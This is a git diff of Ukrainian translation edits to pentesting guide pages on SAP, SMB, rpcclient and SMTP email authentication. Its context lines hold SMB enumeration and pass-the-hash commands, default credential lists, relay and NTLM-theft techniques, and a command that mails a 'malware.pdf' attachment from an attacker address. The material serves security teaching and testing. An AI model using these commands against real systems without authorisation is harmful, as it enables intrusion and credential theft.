`login/password_max_idle_initial` | `<14` | Максимальний час простою в хвилинах перед вимогою повторного введення пароля (початковий). | @@ -214,7 +214,7 @@ BWDEVELOPER:Down1oad:001 | `rfc/reject_expired_passwd` | `0` | Визначає, чи відхиляються прострочені паролі для RFC (Віддалені функціональні виклики). | | `rsau/enable` | `0` | Увімкнення або вимкнення перевірок RS AU (Авторизація). | | `rdisp/gui_auto_logout` | `<5` | Вказує час у хвилинах перед автоматичним виходом з сеансів GUI. | -| `service/protectedwebmethods` | `SDEFAULT` | Вказує стандартні налаштування для захищених веб-методів. | +| `service/protectedwebmethods` | `SDEFAULT` | Вказує налаштування за замовчуванням для захищених веб-методів. | | `snc/enable` | `0` | Увімкнення або вимкнення захищеної мережевої комунікації (SNC). | | `ucon/rfc/active` | `0` | Активує або деактивує UCON (Уніфіковане з'єднання) RFC. | @@ -349,8 +349,8 @@ bizploit> start # Інші корисні інструменти для тестування - [PowerSAP](https://github.com/airbus-seclab/powersap) - інструмент Powershell для оцінки безпеки sap -- [Burp Suite](https://portswigger.net/burp) - обов'язковий для фуззингу директорій та оцінки веб-безпеки -- [pysap](https://github.com/SecureAuthCorp/pysap) - бібліотека Python для створення пакетів мережевого протоколу SAP +- [Burp Suite](https://portswigger.net/burp) - обов'язковий для фуззингу директорій та оцінки безпеки веб-додатків +- [pysap](https://github.com/SecureAuthCorp/pysap) - бібліотека Python для створення пакетів протоколу SAP - [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - допомога nmap у виявленні SAP/ERP ## Посилання diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index cdb127c33..e6a999933 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,7 +4,7 @@ ## **Порт 139** -_**Network Basic Input Output System**_** (NetBIOS)** - це програмний протокол, розроблений для забезпечення взаємодії додатків, ПК та робочих станцій у локальній мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та розташування програмного забезпечення, що працює в мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**. +_**Система базового введення-виведення мережі**_** (NetBIOS)** є програмним протоколом, розробленим для забезпечення взаємодії додатків, ПК та робочих станцій у локальній мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та розташування програмних додатків, що працюють у мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -24,7 +24,7 @@ _**Network Basic Input Output System**_** (NetBIOS)** - це програмни ### IPC$ Share -Доступ до спільного ресурсу IPC$ можна отримати через анонімну нульову сесію, що дозволяє взаємодіяти з сервісами, які відкриті через іменовані канали. Утиліта `enum4linux` корисна для цієї мети. При правильному використанні вона дозволяє отримати: +Доступ до спільного ресурсу IPC$ може бути отриманий через анонімну нульову сесію, що дозволяє взаємодіяти з сервісами, які відкриті через іменовані канали. Утиліта `enum4linux` корисна для цієї мети. Правильне використання дозволяє отримати: - Інформацію про операційну систему - Деталі про батьківський домен @@ -36,11 +36,11 @@ _**Network Basic Input Output System**_** (NetBIOS)** - це програмни ```bash enum4linux -a target_ip ``` -Вищезазначена команда є прикладом того, як `enum4linux` може бути використано для виконання повної енумерації проти цілі, вказаної за допомогою `target_ip`. +Вищезазначена команда є прикладом того, як `enum4linux` може бути використаний для виконання повної енумерації проти цілі, вказаної за допомогою `target_ip`. ## Що таке NTLM -Якщо ви не знаєте, що таке NTLM, або хочете дізнатися, як це працює і як це зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:** +Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як його зловживати, вам буде дуже цікава ця сторінка про **NTLM**, де пояснюється **як працює цей протокол і як ви можете скористатися ним:** {{#ref}} ../windows-hardening/ntlm/ @@ -85,11 +85,11 @@ searchsploit microsoft smb | ------------------------- | ----------------------------------------- | | _(порожньо)_ | _(порожньо)_ | | гість | _(порожньо)_ | -| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin | +| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin | | arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | пароль, test, lab, demo | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | пароль, test, lab, demo | ### Брутфорс @@ -133,7 +133,7 @@ rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` -### Перерахувати локальних користувачів +### Перерахунок локальних користувачів [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Вручну перерахувати спільні ресурси Windows та підключитися до них** -Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує. +Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних спільних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує. Звичайні імена спільних ресурсів для цілей Windows: @@ -310,7 +310,7 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -Особливо цікаві з загальних ресурсів файли під назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автологін** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані. +Особливо цікаві з загальних ресурсів файли під назвою **`Registry.xml`**, оскільки вони **можуть містити паролі** для користувачів, налаштованих на **автоматичний вхід** через групову політику. Або файли **`web.config`**, оскільки вони містять облікові дані. > [!NOTE] > **SYSVOL share** є **доступним для читання** для всіх автентифікованих користувачів у домені. Там ви можете **знайти** багато різних пакетних, VBScript та PowerShell **скриптів**.\ @@ -331,26 +331,26 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | **Налаштування** | **Опис** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | Дозволити перегляд доступних спільних ресурсів у поточному ресурсі? | -| `read only = no` | Заборонити створення та модифікацію файлів? | +| `read only = no` | Заборонити створення та модифікацію файлів? | | `writable = yes` | Дозволити користувачам створювати та модифікувати файли? | -| `guest ok = yes` | Дозволити підключення до служби без використання пароля? | +| `guest ok = yes` | Дозволити підключення до служби без використання пароля? | | `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? | -| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? | +| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? | | `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? | | `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? | | `magic script = script.sh` | Який скрипт повинен бути виконаний, коли скрипт закривається? | -| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? | +| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? | Команда `smbstatus` надає інформацію про **сервер** та про **те, хто підключений**. ## Аутентифікація за допомогою Kerberos -Ви можете **аутентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: +Ви можете **аутентифікуватися** до **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` -## **Виконання команд** +## **Виконати команди** ### **crackmapexec** @@ -444,17 +444,17 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid Які використовуються деякими браузерами та інструментами (як Skype) -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) +![З: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) ### SMBTrap using MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) +![З: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) ## NTLM Theft Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш потім можна зламати офлайн або використовувати в [SMB relay attack](pentesting-smb.md#smb-relay-attack). -[See: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Дивіться: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-smb/README.md b/src/network-services-pentesting/pentesting-smb/README.md index 4a4424d9c..8b44ca515 100644 --- a/src/network-services-pentesting/pentesting-smb/README.md +++ b/src/network-services-pentesting/pentesting-smb/README.md @@ -10,7 +10,7 @@ _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмни ``` ## Порт 445 -Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Аббревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів і полегшення різних форм комунікації між вузлами в мережі. +Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм комунікації між вузлами в мережі. Наприклад, у контексті Windows підкреслюється, що SMB може працювати безпосередньо через TCP/IP, усуваючи необхідність у NetBIOS через TCP/IP, за допомогою використання порту 445. Навпаки, на різних системах спостерігається використання порту 139, що вказує на те, що SMB виконується разом з NetBIOS через TCP/IP. ``` @@ -20,7 +20,7 @@ _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмни Протокол **Server Message Block (SMB)**, що працює за моделлю **клієнт-сервер**, призначений для регулювання **доступу до файлів**, каталогів та інших мережевих ресурсів, таких як принтери та маршрутизатори. Переважно використовується в серії операційних систем **Windows**, SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями операційної системи Microsoft безперешкодно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект **Samba** пропонує безкоштовне програмне забезпечення, що дозволяє реалізувати SMB на системах **Linux** та Unix, тим самим полегшуючи крос-платформену комунікацію через SMB. -Спільні ресурси, що представляють **випадкові частини локальної файлової системи**, можуть надаватися сервером SMB, що робить ієрархію видимою для клієнта частково **незалежно** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері. +Спільні ресурси, що представляють **произвольні частини локальної файлової системи**, можуть надаватися сервером SMB, що робить ієрархію видимою для клієнта частково **незалежно** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері. ### IPC$ Share @@ -85,11 +85,11 @@ searchsploit microsoft smb | ------------------------- | ----------------------------------------- | | _(порожньо)_ | _(порожньо)_ | | гість | _(порожньо)_ | -| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin | +| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin | | arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | пароль, test, lab, demo | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | пароль, test, lab, demo | ### Брутфорс @@ -183,7 +183,7 @@ crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` -### **Підключення/Перелік спільної папки** +### **Підключення/Список спільної папки** ```bash #Connect using smbclient smbclient --no-pass /// @@ -197,7 +197,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ``` ### **Вручну перерахувати спільні ресурси Windows та підключитися до них** -Можливо, ви обмежені у відображенні будь-яких спільних ресурсів хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних спільних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує. +Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до ресурсу. Щоб вручну перерахувати ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує ресурс, і ви не маєте до нього доступу, або ресурс зовсім не існує. Звичайні імена спільних ресурсів для цілей Windows: @@ -210,7 +210,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t - SYSVOL - NETLOGON -(Звичайні імена спільних ресурсів з _**Оцінки безпеки мережі 3-є видання**_) +(Звичайні імена спільних ресурсів з _**Network Security Assessment 3rd edition**_) Ви можете спробувати підключитися до них, використовуючи наступну команду ```bash @@ -336,8 +336,8 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 | `guest ok = yes` | Дозволити підключення до служби без використання пароля? | | `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? | | `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? | -| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? | -| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? | +| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? | +| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? | | `magic script = script.sh` | Який скрипт повинен бути виконаний, коли скрипт закривається? | | `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? | @@ -345,7 +345,7 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 ## Аутентифікація за допомогою Kerberos -Ви можете **аутентифікуватися** в **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: +Ви можете **аутентифікуватися** до **kerberos** за допомогою інструментів **smbclient** та **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com @@ -354,7 +354,7 @@ rpcclient -k ws01win10.domain.com ### **crackmapexec** -crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант ви хочете використовувати, за допомогою параметра `--exec-method`: +crackmapexec може виконувати команди **зловживаючи** будь-яким з **mmcexec, smbexec, atexec, wmiexec**, при цьому **wmiexec** є **методом за замовчуванням**. Ви можете вказати, який варіант ви віддаєте перевагу, за допомогою параметра `--exec-method`: ```bash apt-get install crackmapexec @@ -428,7 +428,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ``` ## SMB relay attack -Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації успішна**, ви автоматично потрапите в **системний** **shell**.\ +Ця атака використовує набір інструментів Responder для **захоплення сеансів аутентифікації SMB** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сеанс аутентифікації успішний**, ви автоматично потрапите в **системний** **shell**.\ [**Більше інформації про цю атаку тут.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -452,9 +452,9 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ## NTLM Theft -Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш можна зламати офлайн або використовувати в [SMB relay attack](./#smb-relay-attack). +Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш потім можна зламати офлайн або використовувати в [SMB relay attack](./#smb-relay-attack). -[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) +[Дивіться: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) ## HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md index 3c6958a14..487a82e19 100644 --- a/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +++ b/src/network-services-pentesting/pentesting-smb/rpcclient-enumeration.md @@ -24,7 +24,7 @@ - **Користувачів можна перерахувати** за допомогою: `querydispinfo` та `enumdomusers`. - **Деталі користувача** за допомогою: `queryuser <0xrid>`. -- **Групи користувача** з: `queryusergroups <0xrid>`. +- **Групи користувача** за допомогою: `queryusergroups <0xrid>`. - **SID користувача отримується** через: `lookupnames `. - **Псевдоніми користувачів** за допомогою: `queryuseraliases [builtin|domain] `. ```bash @@ -70,15 +70,15 @@ done | queryuser | SAMR | Отримати інформацію про користувача | | querygroup | Отримати інформацію про групу | | | querydominfo | Отримати інформацію про домен | | -| enumdomusers | Перерахувати користувачів домену | | -| enumdomgroups | Перерахувати групи домену | | -| createdomuser | Створити користувача домену | | -| deletedomuser | Видалити користувача домену | | +| enumdomusers | Перерахувати користувачів домену | | +| enumdomgroups | Перерахувати групи домену | | +| createdomuser | Створити користувача домену | | +| deletedomuser | Видалити користувача домену | | | lookupnames | LSARPC | Знайти імена користувачів за значеннями SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | | lookupsids | Знайти SID за іменами користувачів (циклічний RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | | | lsaaddacctrights | Додати права до облікового запису користувача | | | lsaremoveacctrights | Видалити права з облікового запису користувача | | -| dsroledominfo | LSARPC-DS | Отримати основну інформацію про домен | +| dsroledominfo | LSARPC-DS | Отримати інформацію про основний домен | | dsenumdomtrusts | Перерахувати довірені домени в лісі AD | | Щоб **краще зрозуміти**, як працюють інструменти _**samrdump**_ **та** _**rpcdump**_, вам слід прочитати [**Pentesting MSRPC**](../135-pentesting-msrpc.md). diff --git a/src/network-services-pentesting/pentesting-smtp/README.md b/src/network-services-pentesting/pentesting-smtp/README.md index 195b4031a..8680fd6b5 100644 --- a/src/network-services-pentesting/pentesting-smtp/README.md +++ b/src/network-services-pentesting/pentesting-smtp/README.md @@ -6,7 +6,7 @@ **Протокол простого пересилання пошти (SMTP)** - це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на поштовому сервері та періодично їх завантажувати. -На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як для їх отримання використовують **POP3 або IMAP**. На системах, що базуються на Unix, **sendmail** є найбільш часто використовуваним SMTP-сервером для електронної пошти. Комерційний пакет, відомий як Sendmail, включає в себе POP3 сервер. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3. +На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як для їх отримання використовують **POP3 або IMAP**. На системах, що базуються на Unix, **sendmail** є найбільш часто використовуваним SMTP-сервером для електронної пошти. Комерційний пакет, відомий як Sendmail, включає в себе POP3 сервер. Крім того, **Microsoft Exchange** надає SMTP сервер і пропонує можливість включення підтримки POP3. **Порт за замовчуванням:** 25,465(ssl),587(ssl) ``` @@ -85,9 +85,9 @@ MAIL FROM: me Перевірте, чи можете ви перехопити деякі паролі з пакетів на порт 25 -### [Аутентифікація брутфорсом](../../generic-hacking/brute-force.md#smtp) +### [Auth bruteforce](../../generic-hacking/brute-force.md#smtp) -## Перебір імені користувача брутфорсом +## Перебір імен користувачів **Аутентифікація не завжди потрібна** @@ -150,11 +150,11 @@ Nmap: nmap --script smtp-enum-users ``` ## DSN Reports -**Звіти про статус доставки**: Якщо ви надішлете **електронну пошту** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення). +**Звіти про статус доставки**: Якщо ви надішлете **електронний лист** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення). ## [Commands](smtp-commands.md) -### Надсилання електронної пошти з консолі linux +### Надсилання електронного листа з консолі linux ```bash sendEmail -t to@domain.com -f from@attacker.com -s -u "Important subject" -a /tmp/malware.pdf Reading message body from STDIN because the '-m' option was not used. @@ -234,7 +234,7 @@ smtp-smuggling.md ### SPF > [!CAUTION] -> SPF [був "декларований застарілим" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\ +> SPF [був "декларований" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\ > Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на зразок `"v=spf1 include:_spf.google.com ~all"` **Sender Policy Framework** (SPF) - це механізм, який дозволяє Mail Transfer Agents (MTAs) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі. @@ -252,8 +252,8 @@ smtp-smuggling.md | MX | Якщо доменне ім'я має MX запис, що розв'язується до адреси відправника, воно збігається (тобто пошта надходить з одного з вхідних поштових серверів домену). | | PTR | Якщо доменне ім'я (PTR запис) для адреси клієнта знаходиться в заданому домені і це доменне ім'я розв'язується до адреси клієнта (попередньо підтверджений зворотний DNS), збігається. Цей механізм не рекомендується і слід уникати, якщо це можливо. | | EXISTS | Якщо задане доменне ім'я розв'язується до будь-якої адреси, збігається (незалежно від адреси, до якої воно розв'язується). Це рідко використовується. Разом з макромовою SPF пропонує більш складні збіги, такі як DNSBL-запити. | -| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, слід використовувати розширення перенаправлення. | -| REDIRECT |

Перенаправлення - це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж інфраструктуру електронної пошти.

Політика SPF домену, вказаному в механізмі перенаправлення, буде використана.

| +| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, необхідно використовувати розширення перенаправлення. | +| REDIRECT |

Перенаправлення - це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж електронну поштову інфраструктуру.

Політика SPF домену, вказаного в механізмі перенаправлення, буде використана.

| Також можливо визначити **Кваліфікатори**, які вказують **що слід робити, якщо механізм збігається**. За замовчуванням використовується **кваліфікатор "+"** (тому, якщо будь-який механізм збігається, це означає, що це дозволено).\ Зазвичай ви помітите **в кінці кожної політики SPF** щось на зразок: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.** @@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 dig txt _netblocks3.google.com | grep spf _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all" ``` -Традиційно було можливим підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **автоматично відхилять/позначать як ненадійну**. +Традиційно було можливо підробити будь-яке ім'я домену, яке не мало правильного/жодного SPF запису. **Сьогодні**, якщо **електронна пошта** надходить з **домену без дійсного SPF запису**, її, ймовірно, **автоматично відхилять/позначать як ненадійну**. Щоб перевірити SPF домену, ви можете використовувати онлайн-інструменти, такі як: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) @@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1 DKIM використовується для підписування вихідних електронних листів, що дозволяє їх валідацію зовнішніми агентами передачі пошти (MTA) через отримання публічного ключа домену з DNS. Цей публічний ключ знаходиться в TXT записі домену. Щоб отримати цей ключ, потрібно знати як селектор, так і ім'я домену. -Наприклад, щоб запитати ключ, необхідні ім'я домену та селектор. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`. +Наприклад, щоб запитати ключ, ім'я домену та селектор є необхідними. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`. Команда для отримання цієї інформації може виглядати так: ```bash @@ -343,7 +343,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA > > Якщо я отримую електронну пошту з pielovers.demon.co.uk, і для pielovers немає SPF даних, чи повинен я повернутися на один рівень і перевірити SPF для demon.co.uk? Ні. Кожен піддомен у Demon є різним клієнтом, і кожен клієнт може мати свою власну політику. Не мало б сенсу, щоб політика Demon's застосовувалася до всіх його клієнтів за замовчуванням; якщо Demon хоче це зробити, він може налаштувати SPF записи для кожного піддомену. > -> Тож порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис. +> Отже, порада для видавців SPF така: ви повинні додати SPF запис для кожного піддомену або імені хоста, яке має A або MX запис. > > Сайти з дикими A або MX записами також повинні мати дикий SPF запис у формі: \* IN TXT "v=spf1 -all" @@ -364,7 +364,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v ### **Інструменти** - [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Перевірка на неправильні налаштування SPF та DMARC** -- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Автоматичне отримання конфігурацій SPF та DMARC** +- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Автоматичне отримання 